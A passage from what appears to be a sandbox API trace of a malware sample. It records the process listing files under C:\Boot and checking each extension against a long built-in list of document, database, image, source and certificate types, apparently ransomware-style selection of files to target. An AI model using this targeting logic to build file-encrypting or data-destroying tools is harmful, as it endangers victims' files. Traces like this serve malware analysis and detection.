(lpString=".mkidx") returned 6 [0094.149] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0094.149] lstrlenW (lpString=".mkv") returned 4 [0094.149] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0094.149] lstrlenW (lpString=".mos") returned 4 [0094.149] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0094.149] lstrlenW (lpString=".mov") returned 4 [0094.149] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0094.149] lstrlenW (lpString=".mp3") returned 4 [0094.149] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0094.149] lstrlenW (lpString=".mp4") returned 4 [0094.149] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0094.149] lstrlenW (lpString=".mpeg") returned 5 [0094.149] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0094.149] lstrlenW (lpString=".mpg") returned 4 [0094.149] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0094.149] lstrlenW (lpString=".mpv") returned 4 [0094.149] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0094.149] lstrlenW (lpString=".mrw") returned 4 [0094.149] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0094.149] lstrlenW (lpString=".msg") returned 4 [0094.149] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0094.149] lstrlenW (lpString=".mxl") returned 4 [0094.149] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0094.149] lstrlenW (lpString=".myd") returned 4 [0094.149] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0094.149] lstrlenW (lpString=".myi") returned 4 [0094.149] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0094.149] lstrlenW (lpString=".nef") returned 4 [0094.149] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0094.149] lstrlenW (lpString=".nrw") returned 4 [0094.149] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0094.150] lstrlenW (lpString=".obj") returned 4 [0094.150] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0094.150] lstrlenW (lpString=".odb") returned 4 [0094.150] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0094.150] lstrlenW (lpString=".odc") returned 4 [0094.150] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0094.150] lstrlenW (lpString=".odm") returned 4 [0094.150] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0094.150] lstrlenW (lpString=".odp") returned 4 [0094.150] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0094.150] lstrlenW (lpString=".ods") returned 4 [0094.150] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0094.150] lstrlenW (lpString=".oft") returned 4 [0094.150] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0094.150] lstrlenW (lpString=".one") returned 4 [0094.150] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0094.150] lstrlenW (lpString=".onepkg") returned 7 [0094.150] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0094.150] lstrlenW (lpString=".onetoc2") returned 8 [0094.150] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0094.150] lstrlenW (lpString=".opt") returned 4 [0094.150] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0094.150] lstrlenW (lpString=".oqy") returned 4 [0094.150] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0094.150] lstrlenW (lpString=".orf") returned 4 [0094.150] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0094.150] lstrlenW (lpString=".p12") returned 4 [0094.150] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0094.150] lstrlenW (lpString=".p7b") returned 4 [0094.150] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0094.150] lstrlenW (lpString=".p7c") returned 4 [0094.150] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0094.151] lstrlenW (lpString=".pam") returned 4 [0094.151] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0094.151] lstrlenW (lpString=".pbm") returned 4 [0094.151] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0094.151] lstrlenW (lpString=".pct") returned 4 [0094.151] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0094.151] lstrlenW (lpString=".pcx") returned 4 [0094.151] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0094.151] lstrlenW (lpString=".pdd") returned 4 [0094.151] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0094.151] lstrlenW (lpString=".pdf") returned 4 [0094.151] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0094.151] lstrlenW (lpString=".pdp") returned 4 [0094.151] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0094.151] lstrlenW (lpString=".pef") returned 4 [0094.151] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0094.151] lstrlenW (lpString=".pem") returned 4 [0094.151] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0094.151] lstrlenW (lpString=".pff") returned 4 [0094.151] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0094.151] lstrlenW (lpString=".pfm") returned 4 [0094.151] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0094.151] lstrlenW (lpString=".pfx") returned 4 [0094.151] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0094.151] lstrlenW (lpString=".pgm") returned 4 [0094.151] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0094.151] lstrlenW (lpString=".php") returned 4 [0094.151] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0094.151] lstrlenW (lpString=".php3") returned 5 [0094.151] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0094.151] lstrlenW (lpString=".php4") returned 5 [0094.151] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0094.151] lstrlenW (lpString=".php5") returned 5 [0094.152] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0094.152] lstrlenW (lpString=".phtml") returned 6 [0094.152] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0094.152] lstrlenW (lpString=".pict") returned 5 [0094.152] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0094.152] lstrlenW (lpString=".pl") returned 3 [0094.152] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0094.152] lstrlenW (lpString=".pls") returned 4 [0094.152] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0094.152] lstrlenW (lpString=".pm") returned 3 [0094.152] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0094.152] lstrlenW (lpString=".png") returned 4 [0094.152] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0094.152] lstrlenW (lpString=".pnm") returned 4 [0094.152] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0094.152] lstrlenW (lpString=".pot") returned 4 [0094.152] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0094.152] lstrlenW (lpString=".potm") returned 5 [0094.152] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0094.152] lstrlenW (lpString=".potx") returned 5 [0094.152] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0094.152] lstrlenW (lpString=".ppa") returned 4 [0094.152] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0094.152] lstrlenW (lpString=".ppam") returned 5 [0094.152] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0094.152] lstrlenW (lpString=".ppm") returned 4 [0094.152] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0094.152] lstrlenW (lpString=".pps") returned 4 [0094.152] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0094.152] lstrlenW (lpString=".ppsm") returned 5 [0094.152] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0094.152] lstrlenW (lpString=".ppt") returned 4 [0094.152] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0094.153] lstrlenW (lpString=".pptm") returned 5 [0094.153] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0094.153] lstrlenW (lpString=".pptx") returned 5 [0094.153] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0094.153] lstrlenW (lpString=".prn") returned 4 [0094.153] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0094.153] lstrlenW (lpString=".ps") returned 3 [0094.153] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0094.153] lstrlenW (lpString=".psb") returned 4 [0094.153] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0094.153] lstrlenW (lpString=".psd") returned 4 [0094.153] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0094.153] lstrlenW (lpString=".pst") returned 4 [0094.153] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0094.153] lstrlenW (lpString=".ptx") returned 4 [0094.153] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0094.153] lstrlenW (lpString=".pub") returned 4 [0094.153] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0094.153] lstrlenW (lpString=".pwm") returned 4 [0094.153] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0094.153] lstrlenW (lpString=".pxr") returned 4 [0094.153] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0094.153] lstrlenW (lpString=".py") returned 3 [0094.153] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0094.153] lstrlenW (lpString=".qt") returned 3 [0094.153] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0094.153] lstrlenW (lpString=".r3d") returned 4 [0094.153] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0094.153] lstrlenW (lpString=".raf") returned 4 [0094.153] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0094.153] lstrlenW (lpString=".rar") returned 4 [0094.153] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0094.154] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0094.154] FindNextFileW (in: hFindFile=0x4260510, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0094.154] FindClose (in: hFindFile=0x4260510 | out: hFindFile=0x4260510) returned 1 [0094.154] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0094.154] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0094.154] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4273e70 [0094.154] lstrlenW (lpString="C:\\Boot\\pt-BR") returned 13 [0094.154] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260590 [0094.154] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.154] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0094.155] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0094.155] lstrlenW (lpString=".1cd") returned 4 [0094.155] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0094.155] lstrlenW (lpString=".3ds") returned 4 [0094.155] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0094.155] lstrlenW (lpString=".3fr") returned 4 [0094.155] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0094.155] lstrlenW (lpString=".3g2") returned 4 [0094.155] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0094.155] lstrlenW (lpString=".3gp") returned 4 [0094.155] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0094.155] lstrlenW (lpString=".7z") returned 3 [0094.155] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0094.155] lstrlenW (lpString=".accda") returned 6 [0094.155] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0094.155] lstrlenW (lpString=".accdb") returned 6 [0094.155] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0094.155] lstrlenW (lpString=".accdc") returned 6 [0094.155] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0094.155] lstrlenW (lpString=".accde") returned 6 [0094.155] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0094.156] lstrlenW (lpString=".accdt") returned 6 [0094.156] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0094.156] lstrlenW (lpString=".accdw") returned 6 [0094.156] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0094.156] lstrlenW (lpString=".adb") returned 4 [0094.156] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0094.156] lstrlenW (lpString=".adp") returned 4 [0094.156] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0094.156] lstrlenW (lpString=".ai") returned 3 [0094.156] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0094.156] lstrlenW (lpString=".ai3") returned 4 [0094.156] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0094.156] lstrlenW (lpString=".ai4") returned 4 [0094.156] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0094.156] lstrlenW (lpString=".ai5") returned 4 [0094.156] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0094.156] lstrlenW (lpString=".ai6") returned 4 [0094.156] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0094.156] lstrlenW (lpString=".ai7") returned 4 [0094.156] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0094.156] lstrlenW (lpString=".ai8") returned 4 [0094.156] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0094.156] lstrlenW (lpString=".anim") returned 5 [0094.156] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0094.156] lstrlenW (lpString=".arw") returned 4 [0094.156] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0094.156] lstrlenW (lpString=".as") returned 3 [0094.156] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0094.156] lstrlenW (lpString=".asa") returned 4 [0094.156] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0094.156] lstrlenW (lpString=".asc") returned 4 [0094.157] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0094.157] lstrlenW (lpString=".ascx") returned 5 [0094.157] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0094.157] lstrlenW (lpString=".asm") returned 4 [0094.157] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0094.157] lstrlenW (lpString=".asmx") returned 5 [0094.157] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0094.157] lstrlenW (lpString=".asp") returned 4 [0094.157] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0094.157] lstrlenW (lpString=".aspx") returned 5 [0094.157] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0094.157] lstrlenW (lpString=".asr") returned 4 [0094.157] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0094.157] lstrlenW (lpString=".asx") returned 4 [0094.157] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0094.157] lstrlenW (lpString=".avi") returned 4 [0094.157] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0094.157] lstrlenW (lpString=".avs") returned 4 [0094.157] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0094.157] lstrlenW (lpString=".backup") returned 7 [0094.157] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0094.157] lstrlenW (lpString=".bak") returned 4 [0094.157] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0094.157] lstrlenW (lpString=".bay") returned 4 [0094.157] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0094.157] lstrlenW (lpString=".bd") returned 3 [0094.157] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0094.157] lstrlenW (lpString=".bin") returned 4 [0094.157] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0094.157] lstrlenW (lpString=".bmp") returned 4 [0094.157] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0094.157] lstrlenW (lpString=".bz2") returned 4 [0094.157] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0094.158] lstrlenW (lpString=".c") returned 2 [0094.158] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0094.158] lstrlenW (lpString=".cdr") returned 4 [0094.158] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0094.158] lstrlenW (lpString=".cer") returned 4 [0094.158] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0094.158] lstrlenW (lpString=".cf") returned 3 [0094.158] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0094.158] lstrlenW (lpString=".cfc") returned 4 [0094.158] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0094.158] lstrlenW (lpString=".cfm") returned 4 [0094.158] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0094.158] lstrlenW (lpString=".cfml") returned 5 [0094.158] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0094.158] lstrlenW (lpString=".cfu") returned 4 [0094.158] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0094.158] lstrlenW (lpString=".chm") returned 4 [0094.158] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0094.158] lstrlenW (lpString=".cin") returned 4 [0094.158] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0094.158] lstrlenW (lpString=".class") returned 6 [0094.158] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0094.158] lstrlenW (lpString=".clx") returned 4 [0094.158] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0094.158] lstrlenW (lpString=".config") returned 7 [0094.158] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0094.158] lstrlenW (lpString=".cpp") returned 4 [0094.158] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0094.158] lstrlenW (lpString=".cr2") returned 4 [0094.158] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0094.158] lstrlenW (lpString=".crt") returned 4 [0094.158] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0094.159] lstrlenW (lpString=".crw") returned 4 [0094.159] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0094.159] lstrlenW (lpString=".cs") returned 3 [0094.159] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0094.159] lstrlenW (lpString=".css") returned 4 [0094.159] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0094.159] lstrlenW (lpString=".csv") returned 4 [0094.159] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0094.159] lstrlenW (lpString=".cub") returned 4 [0094.159] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0094.159] lstrlenW (lpString=".dae") returned 4 [0094.159] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0094.159] lstrlenW (lpString=".dat") returned 4 [0094.159] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0094.159] lstrlenW (lpString=".db") returned 3 [0094.159] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0094.159] lstrlenW (lpString=".dbf") returned 4 [0094.159] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0094.159] lstrlenW (lpString=".dbx") returned 4 [0094.159] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0094.159] lstrlenW (lpString=".dc3") returned 4 [0094.159] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0094.159] lstrlenW (lpString=".dcm") returned 4 [0094.159] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0094.159] lstrlenW (lpString=".dcr") returned 4 [0094.159] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0094.159] lstrlenW (lpString=".der") returned 4 [0094.159] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0094.159] lstrlenW (lpString=".dib") returned 4 [0094.159] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0094.159] lstrlenW (lpString=".dic") returned 4 [0094.159] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0094.159] lstrlenW (lpString=".dif") returned 4 [0094.160] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0094.160] lstrlenW (lpString=".divx") returned 5 [0094.160] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0094.160] lstrlenW (lpString=".djvu") returned 5 [0094.160] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0094.160] lstrlenW (lpString=".dng") returned 4 [0094.160] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0094.160] lstrlenW (lpString=".doc") returned 4 [0094.160] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0094.160] lstrlenW (lpString=".docm") returned 5 [0094.160] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0094.160] lstrlenW (lpString=".docx") returned 5 [0094.160] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0094.160] lstrlenW (lpString=".dot") returned 4 [0094.160] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0094.160] lstrlenW (lpString=".dotm") returned 5 [0094.160] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0094.160] lstrlenW (lpString=".dotx") returned 5 [0094.160] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0094.160] lstrlenW (lpString=".dpx") returned 4 [0094.160] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0094.160] lstrlenW (lpString=".dqy") returned 4 [0094.160] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0094.160] lstrlenW (lpString=".dsn") returned 4 [0094.160] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0094.160] lstrlenW (lpString=".dt") returned 3 [0094.160] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0094.160] lstrlenW (lpString=".dtd") returned 4 [0094.160] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0094.160] lstrlenW (lpString=".dwg") returned 4 [0094.160] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0094.160] lstrlenW (lpString=".dwt") returned 4 [0094.160] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0094.161] lstrlenW (lpString=".dx") returned 3 [0094.161] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0094.161] lstrlenW (lpString=".dxf") returned 4 [0094.161] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0094.161] lstrlenW (lpString=".edml") returned 5 [0094.161] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0094.161] lstrlenW (lpString=".efd") returned 4 [0094.161] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0094.161] lstrlenW (lpString=".elf") returned 4 [0094.161] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0094.161] lstrlenW (lpString=".emf") returned 4 [0094.161] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0094.161] lstrlenW (lpString=".emz") returned 4 [0094.161] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0094.161] lstrlenW (lpString=".epf") returned 4 [0094.161] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0094.161] lstrlenW (lpString=".eps") returned 4 [0094.161] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0094.161] lstrlenW (lpString=".epsf") returned 5 [0094.161] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0094.161] lstrlenW (lpString=".epsp") returned 5 [0094.161] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0094.161] lstrlenW (lpString=".erf") returned 4 [0094.161] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0094.161] lstrlenW (lpString=".exr") returned 4 [0094.161] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0094.161] lstrlenW (lpString=".f4v") returned 4 [0094.161] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0094.161] lstrlenW (lpString=".fido") returned 5 [0094.161] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0094.162] lstrlenW (lpString=".flm") returned 4 [0094.162] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0094.162] lstrlenW (lpString=".flv") returned 4 [0094.162] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0094.162] lstrlenW (lpString=".frm") returned 4 [0094.162] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0094.162] lstrlenW (lpString=".fxg") returned 4 [0094.162] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0094.162] lstrlenW (lpString=".geo") returned 4 [0094.162] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0094.162] lstrlenW (lpString=".gif") returned 4 [0094.162] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0094.163] lstrlenW (lpString=".grs") returned 4 [0094.163] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0094.163] lstrlenW (lpString=".gz") returned 3 [0094.163] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0094.163] lstrlenW (lpString=".h") returned 2 [0094.163] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0094.163] lstrlenW (lpString=".hdr") returned 4 [0094.163] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0094.163] lstrlenW (lpString=".hpp") returned 4 [0094.163] lstrcmpiW 